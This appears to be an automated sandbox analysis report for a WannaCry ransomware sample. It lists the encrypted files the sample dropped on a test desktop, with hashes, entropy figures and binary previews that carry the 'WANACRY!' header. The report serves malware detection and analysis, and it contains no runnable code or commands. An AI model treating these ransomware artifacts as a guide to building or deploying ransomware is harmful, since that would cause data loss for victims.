                                    Preview:WANACRY!.....c......}g.LKu.(.q.an./l. .x~.9...S.....AY..;...l".1.Ji$.J.gT..8.@...Q.?.6x.{..y...=.E...U..8...N$.|D{...-=r.'..C'...#-...r.?/.+....q.jF..6\...p.8v\a.'.^.....Bj...F...c.'.q..._.....2)w......5..(..w.n.....-s..^..zxL..^..Ew@W......z.x..@4..5^.................Dp...XmZ..:...\...{.&.>4.l.\...+)......6....Zp*.5.v...+....A8K..a.7./u.[}..E=Q..).EoE..e.h...w....X6..C..E.A$.K.U.l..B0.~...0.b....5e.%Y.T..}..a.=....x.g..o...'i.w..#.&.P...hm...C.{.7....|8.....yx0[}.W)...G[...:n..Um..#..t.....Wb#..'...-4..!`X;..]...n&..zr....i.Y.<.}U.........wV}....S.....w.#..Sm..E)....,.t9.**.?.z..Q...dPm........$U.q..!..(C.a=0..-...#..k.z..U ....8..o..j......'..R. *.,.Q..~=......-..0$..'.9*....M....m..y.-4...>T.......O....&qz_...3.E...+i...].-..0.k.e~N...Z.M.>E..d......3.. J-.|.....gk.EP.Rn...i....JW.hPM.........[^......hJ.......'.@..`..Q."...I.t.."G....1.W2o.SB.V..gT.1.I....yf..O._..(g#.(../.W..A....D..J#.s.M.5.$?.....}Y...$#!b...d..$..+[/.3.6d"w.+K.0..p

                                    C:\Users\user\Desktop\NIRMEKAMZH.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.804482285698521
                                    Encrypted:false
                                    SSDEEP:24:X/WM8hJbPfYG+20S5iS/rWa+6a66916OYhZMESZCheaj7ZM2AE:ObhJPfexS5iS/rW1ZKfSZCheaj7lAE
                                    MD5:CE22EB0EEFF777CD1119723E5332D7B1
                                    SHA1:95796744DFEF55D22ECCE8FB06124469C52AB2E4
                                    SHA-256:A6AE3DDD4D10BFC813456FD97673C12544316AB3BE9D86AF5E9077DFE2203023
                                    SHA-512:7AEC220FC9FC5D646AD5F1F5299CB52D451D697194003A623D39CF6FFF83237485CC8BF30CCBC9AAC808E79C82CC49B05A97FCBE1329FAD00E6BD721946C3A8E
                                    Malicious:false
                                    Preview:Y....Xu-x5.4<.\.3..r...(k.@..._.L.t..._Ld.......C=......Q)_.......a0]..8..L.L_.m=.^..[.hl.7..QF..s.*.[...R....;..2u.9e.=M?.........G.Y.L..Io..]$..Uj[.U1CE.RJ.GV.{Ln...~C.....]P..L}qJ.M.-H.4rq...N.s)....F..">l...P+...~.......wa.%.....$,..2..u..<Q.d.).F..{.K.a..q..cs......5-..A.b.r.....d....S.k..;...4..q......ID...k]..5>..r....%P.?2+..8F..@R..(K....,d.3...^:..3..3{z.,....v3..].Rq....i.%./.[enW.S0.t.Gy.....)b1.+...zl...S.68?*[.XT.09nE..U...Y.#.?3....s.I'7....9;..{uDf.m..\.|..l.z......oPY.......gG..-J.D)...8.....&16.(g.!Q...-..Q..3$2...j..=..wY...J~S.;O6..r.b.+2. ..jb.A.:">7./........I@.'_?...b:=.D.W3.V.0K4..'...',....a....-.>.4.".u...-.Mm......L^.o...v...............D..C..0....../p..f....b...p...d4...Xk...Qc.1..9.._0.p.y..#.P"..xP.)...Q9~&xxM.....M.p....3O..X..k...(.gl.B..v....W....b.......+.xG..3..m50..w..4r.#{.F..H0.....J._..p.s>.f..u.a..c.r..P@.b..^..Yv\...2Fw+.M6...~...k. .k.Z}..`.z.0~p.GNp%'..Z..7y....G.....y.6..,|..m...w..u.<y.3

                                    C:\Users\user\Desktop\NIRMEKAMZH.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83310066453521
                                    Encrypted:false
                                    SSDEEP:24:bkG8pqHl4kSCqcKp3kiYCWFeU6gdF4O0aYICx7rToNYupLuO+9:bkGIqWLsJ6K4Oxk7rTX
                                    MD5:94BBF6A29760C35810F532ADDE600355
                                    SHA1:5294A1488EB88570E7E4901E20CBDFE27167D4E2
                                    SHA-256:6FFA2D0B06BBAFDDAE447A49682518CD646DC50874751E21F64E56231D31F912
                                    SHA-512:2CB5B25AE32E1ED3C208D5E8C17859B9105C946F28A57AC44551C981FA1F87538EE4C8EB9EFA515A782DB1B9B106FBB750F7D434B77112AA230C65D9F6010205
                                    Malicious:false
                                    Preview:WANACRY!.............v.m62Qwxm..x7}k ..O.....E.....v.(0{.N.PE.e..j(...U...5By=W..X....>.2.q.2aA..[A.H_..."B.....+...._....].M..u....\....n....d.X..]n..H.>:.yF%....=.N..f.4R....vk....L%....k.Gu.g.\Z...:.B.C..R>.?j.\........s...xi.&..D5.D.a}5.M..E.p....c..Y.............\e$...`R...c/...3......i........S...K.f....{..R...F...d.Y-|...[.....YtY...w..7..5...Ov.@..T...`.}Q..c[...ptNGW.;..".*...k.'.H.O.........\M...s. ...4..2.......^J(..........ov.=j)..)Q..N.7O...]...{7.......k..4L....f.Q+..W.].....Z.xC...H..!...^....J..D.8/........q......6...@.......F.#$.5.N.x.0.k....M...H8..3.s..%c..C./M........:........U...z.C"..I..s5d.b.V.*..v.q8.z'.."Q#.I.*...].t.k.5$..2N.. ..o...5......V.k..@Za.T..l....i..R..|$. K.C.....bC...+{.].m8.>..ut...d.?{.x...1b..0....:^?....*.)!E.j.q.....[..t(A..r.F.j...}.k:.._rk.;[Z..Z.......}f.7.{W..>C.^|.).0x.... .t_c.......q-t.M...2...!......2..L..xrv.FD\.6.Y.w...S'y.k..?j.i.........N.....(.[.........6..j|D.zgz..........*.h....

                                    C:\Users\user\Desktop\NIRMEKAMZH.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83310066453521
                                    Encrypted:false
                                    SSDEEP:24:bkG8pqHl4kSCqcKp3kiYCWFeU6gdF4O0aYICx7rToNYupLuO+9:bkGIqWLsJ6K4Oxk7rTX
                                    MD5:94BBF6A29760C35810F532ADDE600355
                                    SHA1:5294A1488EB88570E7E4901E20CBDFE27167D4E2
                                    SHA-256:6FFA2D0B06BBAFDDAE447A49682518CD646DC50874751E21F64E56231D31F912
                                    SHA-512:2CB5B25AE32E1ED3C208D5E8C17859B9105C946F28A57AC44551C981FA1F87538EE4C8EB9EFA515A782DB1B9B106FBB750F7D434B77112AA230C65D9F6010205
                                    Malicious:false
                                    Preview:WANACRY!.............v.m62Qwxm..x7}k ..O.....E.....v.(0{.N.PE.e..j(...U...5By=W..X....>.2.q.2aA..[A.H_..."B.....+...._....].M..u....\....n....d.X..]n..H.>:.yF%....=.N..f.4R....vk....L%....k.Gu.g.\Z...:.B.C..R>.?j.\........s...xi.&..D5.D.a}5.M..E.p....c..Y.............\e$...`R...c/...3......i........S...K.f....{..R...F...d.Y-|...[.....YtY...w..7..5...Ov.@..T...`.}Q..c[...ptNGW.;..".*...k.'.H.O.........\M...s. ...4..2.......^J(..........ov.=j)..)Q..N.7O...]...{7.......k..4L....f.Q+..W.].....Z.xC...H..!...^....J..D.8/........q......6...@.......F.#$.5.N.x.0.k....M...H8..3.s..%c..C./M........:........U...z.C"..I..s5d.b.V.*..v.q8.z'.."Q#.I.*...].t.k.5$..2N.. ..o...5......V.k..@Za.T..l....i..R..|$. K.C.....bC...+{.].m8.>..ut...d.?{.x...1b..0....:^?....*.)!E.j.q.....[..t(A..r.F.j...}.k:.._rk.;[Z..Z.......}f.7.{W..>C.^|.).0x.... .t_c.......q-t.M...2...!......2..L..xrv.FD\.6.Y.w...S'y.k..?j.i.........N.....(.[.........6..j|D.zgz..........*.h....

                                    C:\Users\user\Desktop\PWZOQIFCAN.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.789387042361879
                                    Encrypted:false
                                    SSDEEP:24:3aKD3tOkT8hz8CLWQb5u5TAserrJ2V9mYBL3TanL/:rDdOaCSQb8Ttqd2HmkHCL/
                                    MD5:67FA5058809078D0C00F70686848EE1D
                                    SHA1:B1BA4040335ADE6EB272FB01102D61C4E2451D62
                                    SHA-256:F322BD92B53772BAB12FE60D48D40853DD1A2DB5EE1CF439ED5BCD709AC186FE
                                    SHA-512:BA9428D21AEAD928ED4C5A2796C146079481A3C9C7D4757BF36A0CF65C3C4A392A103B1722F6B2BE95330E6EA34E847B751D61560BBCB04A4D0FDB17C3646DAB
                                    Malicious:false
                                    Preview:...R..*J....i-.....O....@.R.zh..?[..pT.Hq..,.....8....3.4,.Q....l../F ..,(@".^.=..t..f.A....h.|..0.H.4.3.Z......[..T...h...z...Y.=8......!......@....."..B..y...h&G'.+..2.ya..Q....9......n.. R.O-..qU.kTR..f.K.jX.L..x}{9....=.!9%......^....4.gVD..>]t..3..>.2]=.r....w.A..=.....vg{.....I..Cy.J..X..-...8...x3...~+.......~.VZ.8;.....X..BPq.P..R(.....q.^/.c.:.@_ ..k$F..KJ.."0.........O..w]W..am.[.O.[[.<..J2...8........T..WSR.`G.B.....I.x.K...Y......,..o*"...l.6.D..#....!.%.....]O.. .7.;X...y......yW.......j8{A.n0a..|...j3VJ..#v.qSt....z....#....G..N..&.6..]8..,......}:....j..,...Ga..S?.....[GP........z...5.f.....5..JM.....6Y.?.......f. ..P?Q...x....[.3...w#.6`.e....).._|?.2j..u.5d}.7........O.@KL..=....|..8.v.)....P.v..6y.>.f....M>.....qQv.......O..A..n....q.>.!K.....W{......r.IX......T.x...#p.O..KC...).[...y`.m{.......h.H.4..(.@..^..@.@.Zg.<O....t. Q./..M........dL.C..>.K...-4fV._i..b.....j..,8./.I.U...0..X..].K.l.zw.L..2......2.c>....8:.O..

                                    C:\Users\user\Desktop\PWZOQIFCAN.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.861073761016149
                                    Encrypted:false
                                    SSDEEP:24:bkWb84QyXYpgaGkGXSSIW3IalSPvvlHWcLbiucX+LGBBMaMFlUx22qnrM6OQUzjO:bkHZvpgfkGLIP3hWcLdLGBB7MFlt/Uz6
                                    MD5:A57C290268CCB7B08A2DA7838C35A369
                                    SHA1:379FBDA4B475402C1D8429A38BF6C2EB627A57BB
                                    SHA-256:10674EA65F2C0D458FD07EBAD31D76AFBEB5255FC8F285583F35505CEC5FC244
                                    SHA-512:348F42050638A7E2CE3EA0011683DA603EE23058E8BC6806A208390E3917FBA53843BA090A4CB7A4C52FB6B6F57AD7DFA9AC5376F21C7146F93C936A8367F6FB
                                    Malicious:false
                                    Preview:WANACRY!....~.x>..y.,..i...|x....$x.....k.y...!;.(}J.8.w.F...t..+,..#kfP.....~D...@.1...a.@tNa;0.~.t.q"...U...$RZ-..N..Z....9..d......h.K0n=.R.2....r.`V..c...;.vm..~J...#......G.../.z..,.$3 QH!....I?3.+.3%.'..t0E.5Q.1u..9^..Qja:.X.._...0......+..jA.....2...............X..<B7.RV..`nc.%.......a...[.....L..Z.v~.,...t..n..#^E..N..8..wv.....i....,^....U...hV..;..Vz]l??1...R...Aj...f.....$.%.Q...%...)...c.-..z...Q..m.G#.........#.G9@.%R0e]4.....S..mO.t?l..[..p.\...r"t....u.O.e..b. :......VB<Y..<.!......%crd9.aC..%).....Z....vY .G4h.!.(..r32.;.gSm.1.(q&9S.$;.YG.+....;..w..M.Q..D.../..k..4.........Ky..i..~....~.....<......q.0...bJ.S.a.p....g|t.'..S.S..<..A.f.k.AR.T.l.y..:...I..4b..D:h.w.Q'{.Y....}.Y.C.....*HQ.KJB{:.A.KR...#G...y...G`...lL..%.....s..|"..8.:(...&..+.$...e.X..c....}..H..dt.a.f.tkn..s.. ..Q.#.......#.....i.0/.K`.&,.7W/i.$..]...5.'.PQ.6...xq-.8Hm...|4.u....%.uc4LI......[.........U.q....N.n.a.o..;..{.k...un.%..d..J..'^...}...

                                    C:\Users\user\Desktop\PWZOQIFCAN.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.861073761016149
                                    Encrypted:false
                                    SSDEEP:24:bkWb84QyXYpgaGkGXSSIW3IalSPvvlHWcLbiucX+LGBBMaMFlUx22qnrM6OQUzjO:bkHZvpgfkGLIP3hWcLdLGBB7MFlt/Uz6
                                    MD5:A57C290268CCB7B08A2DA7838C35A369
                                    SHA1:379FBDA4B475402C1D8429A38BF6C2EB627A57BB
                                    SHA-256:10674EA65F2C0D458FD07EBAD31D76AFBEB5255FC8F285583F35505CEC5FC244
                                    SHA-512:348F42050638A7E2CE3EA0011683DA603EE23058E8BC6806A208390E3917FBA53843BA090A4CB7A4C52FB6B6F57AD7DFA9AC5376F21C7146F93C936A8367F6FB
                                    Malicious:false
                                    Preview:WANACRY!....~.x>..y.,..i...|x....$x.....k.y...!;.(}J.8.w.F...t..+,..#kfP.....~D...@.1...a.@tNa;0.~.t.q"...U...$RZ-..N..Z....9..d......h.K0n=.R.2....r.`V..c...;.vm..~J...#......G.../.z..,.$3 QH!....I?3.+.3%.'..t0E.5Q.1u..9^..Qja:.X.._...0......+..jA.....2...............X..<B7.RV..`nc.%.......a...[.....L..Z.v~.,...t..n..#^E..N..8..wv.....i....,^....U...hV..;..Vz]l??1...R...Aj...f.....$.%.Q...%...)...c.-..z...Q..m.G#.........#.G9@.%R0e]4.....S..mO.t?l..[..p.\...r"t....u.O.e..b. :......VB<Y..<.!......%crd9.aC..%).....Z....vY .G4h.!.(..r32.;.gSm.1.(q&9S.$;.YG.+....;..w..M.Q..D.../..k..4.........Ky..i..~....~.....<......q.0...bJ.S.a.p....g|t.'..S.S..<..A.f.k.AR.T.l.y..:...I..4b..D:h.w.Q'{.Y....}.Y.C.....*HQ.KJB{:.A.KR...#G...y...G`...lL..%.....s..|"..8.:(...&..+.$...e.X..c....}..H..dt.a.f.tkn..s.. ..Q.#.......#.....i.0/.K`.&,.7W/i.$..]...5.'.PQ.6...xq-.8Hm...|4.u....%.uc4LI......[.........U.q....N.n.a.o..;..{.k...un.%..d..J..'^...}...

                                    C:\Users\user\Desktop\QFAPOWPAFG.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.843270556168878
                                    Encrypted:false
                                    SSDEEP:24:c8Z1gbeo1v96CW4/zOV4/OksaBEANNzJkH8prR73I7QnBoNQv:c8Zabeox96VIKV4/RsYEQtfXI7hA
                                    MD5:5DA8FE96EF245A02EC3391739D92AFD8
                                    SHA1:0F4B62E721AD408E04C8D2AFCC1DCF8B457F8FDD
                                    SHA-256:48FD3DAC40C3B9B1F9425DD38D183B22D7008EA8F5A4FC86602A260F7FF5073C
                                    SHA-512:0066446EC890E20FB35C4B72EEBE55F2A9BF0F90D70CEA7491F7DB77BB5FEFBBF9648553C56B7B92E1A3229129A89C5C4A8202144615E1F7192E06F92BC66D9F
                                    Malicious:false
                                    Preview:W.j..........A.;.WR..t.C.Q...R.+.;.{.HG..F...`.@...'.......-..Z.....0oW.b....5.........=..?..w.!.....*Jg=...8..:.a.V:.Bc.l..1tX4.w...S....nS)......(..%..&Q.}....O!..H#_.2i'3Mp.2.1.m......P.S..d.bwc. Fo..-..%....I...Z.;....B.....:....lk..H*.0}.;...b*.lY..2m.Jo3M.y.........^3.MS....C&....g.~"...(U.p.y....}.OB.lG.....,......koG._.o.4..1<..b,|r..S^..t~.......|sj...q.w..~.{f....12...hZ...v[..7Y.i......f.xP...iPU.Qs...a...@......."...h4.. .L.F.v.3a.G/..\...pw[c.1].8...f_.L..Y.Y.*...9.i:.}`.f;.L...@.jW.t...5..~.d.......&..6.GtWv...Yz.Iy?IgX.L._..i..x...'LU`...7.".NX.J{IN...G..}.....i........j..yCK....}....;S.Le............*}.E:..>gZ._..Z..=p.)......PP..b.$....$.z..u.......vB......g.3.t.m>....7]&..M.........$...A.Z.T...1.N.w......E...k.r.....6i.nf.#OKh.x.-.p.O.0.Ig9.=.K?.?.I..Q5... ...w.W.....g>YL!...8......v*..js.FmL......X.i'....K.z..B......D4..Q..f....k<..)$q.B.&t....A..Y./=.....[.....Ep+..~.......... .......^......~Rw^^=N.G..Mm....p....#!.....:

                                    C:\Users\user\Desktop\QFAPOWPAFG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8446073461283765
                                    Encrypted:false
                                    SSDEEP:24:bkjEjImhWyf49ZfoI52LS0CE5Jf/PHewgB6zwlnSb1:bkSIAQfo5vCUxPH3Y60RSb1
                                    MD5:8F7257845E04271B2DBC039DC41E8F93
                                    SHA1:09E2289157850B071B15497C19B114E5868404A8
                                    SHA-256:C3DAC16C6DE3E1A08EEF5356B68AFEB7CF0B30A16BD2E84D835549CA5D07F4DB
                                    SHA-512:F04108675ECA83EFA377E324B1BB2C344E810B6E3546A05FDC853BA5F796226939C71A5FA5F3C30638E534255B2111D1268CD76F59A93FA52D0EB0256A895121
                                    Malicious:false
                                    Preview:WANACRY!........E.5...}...C..}.....D$_.....-X#..9..Q....E..uN/.6h..F.....w_.w..;.....X....)D....H.tQ......3......$.)L..|..)..b.!\m.Lh+.-(2=..Pz..c.k...|...J.....P(.{B n.ziH...(.mi.^.\.H].7.....9..r.E....,5W...u.........>....... '.j..Z..@.t(..AYX.IL...j...............#....^....L.N...^.5..S.H.a.`.t.$......~..H.....d.....O...Q=...{3\.I...c.......,..d..*P.N..>B...o.T.5......(....[...ot<,$..W{.=.....a.G>&`(.>..C.Y....B?X'GA:...&...Q~.ve....Q................^{..._O.pA...<....u..|1*(....1..c.._.uX.D.....h......z.XF....A..).d&O.C.v...nIyq.=..R..s..g.X.n.2b..V...).F.../.'rKU....1.%e_g....fBMP.,.h.$.e.q..v....l...-<.N..T....V'.e y...T+.....U;u.. .U.Z.^..4.Y...<.........u+.e....O..4.....a..2.).4W..^.S...0r\&4M....a..GIU...).".M]3.5..1..n..J.#T.8..9.m.-..y...Pv.Q.c..4`...SAr^6V...8w.Q.Pt ....Y*Vn.}g3y..n8`WJ.b7.}y.\.d./H.I@.uE..a.Oh...B.*.=.&...x..p...Iv@B...H.NRU...N.U.....M+.kX...$..?.%pj....L..K...w!.X.f....."...Y...<+w.P..-.a...j...W,.=...eq.....

                                    C:\Users\user\Desktop\QFAPOWPAFG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8446073461283765
                                    Encrypted:false
                                    SSDEEP:24:bkjEjImhWyf49ZfoI52LS0CE5Jf/PHewgB6zwlnSb1:bkSIAQfo5vCUxPH3Y60RSb1
                                    MD5:8F7257845E04271B2DBC039DC41E8F93
                                    SHA1:09E2289157850B071B15497C19B114E5868404A8
                                    SHA-256:C3DAC16C6DE3E1A08EEF5356B68AFEB7CF0B30A16BD2E84D835549CA5D07F4DB
                                    SHA-512:F04108675ECA83EFA377E324B1BB2C344E810B6E3546A05FDC853BA5F796226939C71A5FA5F3C30638E534255B2111D1268CD76F59A93FA52D0EB0256A895121
                                    Malicious:false
                                    Preview:WANACRY!........E.5...}...C..}.....D$_.....-X#..9..Q....E..uN/.6h..F.....w_.w..;.....X....)D....H.tQ......3......$.)L..|..)..b.!\m.Lh+.-(2=..Pz..c.k...|...J.....P(.{B n.ziH...(.mi.^.\.H].7.....9..r.E....,5W...u.........>....... '.j..Z..@.t(..AYX.IL...j...............#....^....L.N...^.5..S.H.a.`.t.$......~..H.....d.....O...Q=...{3\.I...c.......,..d..*P.N..>B...o.T.5......(....[...ot<,$..W{.=.....a.G>&`(.>..C.Y....B?X'GA:...&...Q~.ve....Q................^{..._O.pA...<....u..|1*(....1..c.._.uX.D.....h......z.XF....A..).d&O.C.v...nIyq.=..R..s..g.X.n.2b..V...).F.../.'rKU....1.%e_g....fBMP.,.h.$.e.q..v....l...-<.N..T....V'.e y...T+.....U;u.. .U.Z.^..4.Y...<.........u+.e....O..4.....a..2.).4W..^.S...0r\&4M....a..GIU...).".M]3.5..1..n..J.#T.8..9.m.-..y...Pv.Q.c..4`...SAr^6V...8w.Q.Pt ....Y*Vn.}g3y..n8`WJ.b7.}y.\.d./H.I@.uE..a.Oh...B.*.=.&...x..p...Iv@B...H.NRU...N.U.....M+.kX...$..?.%pj....L..K...w!.X.f....."...Y...<+w.P..-.a...j...W,.=...eq.....

                                    C:\Users\user\Desktop\SNIPGPPREP.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8066199180274936
                                    Encrypted:false
                                    SSDEEP:24:0c0lpp3bxicIF3moDiD5bVFbBKw5w518KmVL3CuFiYKw2fPI:0cs8f2/9f8w9VL3FQdlY
                                    MD5:AC6D9DF95AC0CA81057CFDA73AE84F46
                                    SHA1:3F5F12A18A5EF081A4A0A173AF7720D33A95BFCB
                                    SHA-256:375A1CA7A39694115779F8B840AE4B52036B6C510892BD13AD8A57702FD7DE73
                                    SHA-512:87750247676BFE2FE4BC7DFA919A1A07A267AB9BB19000D0189FD8D6E14E0466C845153555FA076C722B222F55D6B46357745600464CCEE615A55F8E3F508BFD
                                    Malicious:false
                                    Preview:.p$hJ[.X\.;.L.......f%....[Y..c.;..*X......>.xl.XX.].........B......Y....-.EZ.0....J...4...[.kT.i2'.gu\...DZ.,..._............?./.Q....Z...B..y.h.MD.44..4.,.;8..s..<*.2.X .Khe.}&+...j.c.*j..........o.....vo..w.r.G...aA..H.4...'~.C..#H..j.!...J.di\...Y.o..z'.".."...*$..sY..t.o..\...=...}.|`..|_.UI.J.cZ+..bs..,....uv.+.....l....i....E.0.fB..cU..^..jS.....,...|.2l.f...H...X2W......M.!...Q...DT.....:..{h.Y.@.Q........G...!(.R.C.P.6..w..r......7-..1..,...*.r..6i...l..mly.....9=.4I.B..C..e.....Vu._s...w..\...Z.....<._....)}.....39.V....._dms...lP...]a.r.....8.a..._.2...]7/)...r...b.<....\...............Wm......dl..|...n.XI...q){-.Q.B-.m....^.:..;o%Q.8.G.10......)......\[.u.i.e..t....u:.0i-.Mw..[<.._..VS...K7.)...?*...$)......X.sQ...M..[..q....kY../y^m.,.Q..w... Q.Ya..q..gi.s...&b.Uy&..1.......}<.]..v$..'`O.z.x....)..O.e......m. .i."..nY".&.$.....n.x$M".O{A.....2=`...@Q.. .....`..eGN.....5.Bx.....p....,...RWOJ.........`.........:"Y\Jf..w...P...*2

                                    C:\Users\user\Desktop\SNIPGPPREP.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.840837095150482
                                    Encrypted:false
                                    SSDEEP:24:bkhPLUImHah3iSmGP3qFMMitVgSNqtHHexuTUp3VXmbljAtJpsJQ6Vx7:bkhzMah3Nms3qFM7HqtnbTUxVXmStJpC
                                    MD5:07D6815D6D7AD4950D78EE02F29B27B6
                                    SHA1:B6651A152B2EF74056A11086351CA2D26289F76C
                                    SHA-256:2B50DE6F2F4CFF7F9B4A9E48FABE6F950038F56BB1705B54B49FA5B57B4A4B84
                                    SHA-512:B6BE6CF47FC25973DC3459C4405C06F06D264DD51C7A22A0CC1834F6533465483FEE282185619A3C9E39996F5E82CD55E724A47AD7DE3EF07AA537E3DDD61F29
                                    Malicious:false
                                    Preview:WANACRY!......z$y..V...:.z.h........9a...y.5T.F.(.....*c*.R....&.+.ea.o....j^wu.JFJ...;!.PBmvW.X5;.......s.>yY.M....o?....zV.......W.............MX.YC.\... z...|a... %....]{.Mx".k.....%....?..f.L..sg...Hd...y/z.OL..a..tC....j...g..s._*...|a..m\..Y,G..`.1U..............-......Y.....;1.Z[.$&.../....>J..YGv...K.@..A..(r......@.id..Y...,.477J..zR...p..i..k.J......S...h..@Wp.=.).~f!.v..~t.........W....}.o....V...\....9...........p.r...a...W&.-b.j..3.;l.,.=9z..U.q.=cX6z.......wX6n....zC......J..Y....W{5...7W..(.....:5......E.z.@.;b...l.......e....<.V.........W..V...#..}."..A.P...t..."tZ.x.S.6...w...M.`...E..."..O3|..bo..,.5...#..s7..2.W.pg}.G.........U.J.......3.....$.......J...[...6,....yG.7..G..Kg.@........>. .."+.s.k..x.Q...o.3N.....Hf....6N........qz.=....fN{o..../.!n.[...^../8x.F!.F..fdC#.:pF.....'....z..Z..gY.$.a.M...7d.{6H.$...~...4...g;.;]%~RM......k...;@..b..w....W.+-.3=...<.#L@.^..7k....h.a... .B.Z....Pd..AI>a...$..V|.J..PJ.....

                                    C:\Users\user\Desktop\SNIPGPPREP.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.840837095150482
                                    Encrypted:false
                                    SSDEEP:24:bkhPLUImHah3iSmGP3qFMMitVgSNqtHHexuTUp3VXmbljAtJpsJQ6Vx7:bkhzMah3Nms3qFM7HqtnbTUxVXmStJpC
                                    MD5:07D6815D6D7AD4950D78EE02F29B27B6
                                    SHA1:B6651A152B2EF74056A11086351CA2D26289F76C
                                    SHA-256:2B50DE6F2F4CFF7F9B4A9E48FABE6F950038F56BB1705B54B49FA5B57B4A4B84
                                    SHA-512:B6BE6CF47FC25973DC3459C4405C06F06D264DD51C7A22A0CC1834F6533465483FEE282185619A3C9E39996F5E82CD55E724A47AD7DE3EF07AA537E3DDD61F29
                                    Malicious:false
                                    Preview:WANACRY!......z$y..V...:.z.h........9a...y.5T.F.(.....*c*.R....&.+.ea.o....j^wu.JFJ...;!.PBmvW.X5;.......s.>yY.M....o?....zV.......W.............MX.YC.\... z...|a... %....]{.Mx".k.....%....?..f.L..sg...Hd...y/z.OL..a..tC....j...g..s._*...|a..m\..Y,G..`.1U..............-......Y.....;1.Z[.$&.../....>J..YGv...K.@..A..(r......@.id..Y...,.477J..zR...p..i..k.J......S...h..@Wp.=.).~f!.v..~t.........W....}.o....V...\....9...........p.r...a...W&.-b.j..3.;l.,.=9z..U.q.=cX6z.......wX6n....zC......J..Y....W{5...7W..(.....:5......E.z.@.;b...l.......e....<.V.........W..V...#..}."..A.P...t..."tZ.x.S.6...w...M.`...E..."..O3|..bo..,.5...#..s7..2.W.pg}.G.........U.J.......3.....$.......J...[...6,....yG.7..G..Kg.@........>. .."+.s.k..x.Q...o.3N.....Hf....6N........qz.=....fN{o..../.!n.[...^../8x.F!.F..fdC#.:pF.....'....z..Z..gY.$.a.M...7d.{6H.$...~...4...g;.;]%~RM......k...;@..b..w....W.+-.3=...<.#L@.^..7k....h.a... .B.Z....Pd..AI>a...$..V|.J..PJ.....

                                    C:\Users\user\Desktop\UNKRLCVOHV.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:370 XA sysV executable
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.82777324417906
                                    Encrypted:false
                                    SSDEEP:24:ombKiic5v8/2FUp3KVLaFaE+xgy0r2Fbi3WdsL1jygwVjgGs:ombKHC8uep3KY7Kgy7Fb4L1jygwVj8
                                    MD5:CAAC296A44CDA9994C342D5A9A89EC6F
                                    SHA1:6C44841DC99A6405F33C403E6E0793A7B3E1D549
                                    SHA-256:1B53FE958DD5196099D46291737182DE7DB37C4B7ACF77D647B3C43F7E9A5C77
                                    SHA-512:2B3473B28895771CBC830BE4067E26C38898B5F25B89A8EEE1829B17C10AAB116358AD7963FD0E95A5FB979FD788FA72AB9F633C835880DDB6B05804B9A7FC0F
                                    Malicious:true
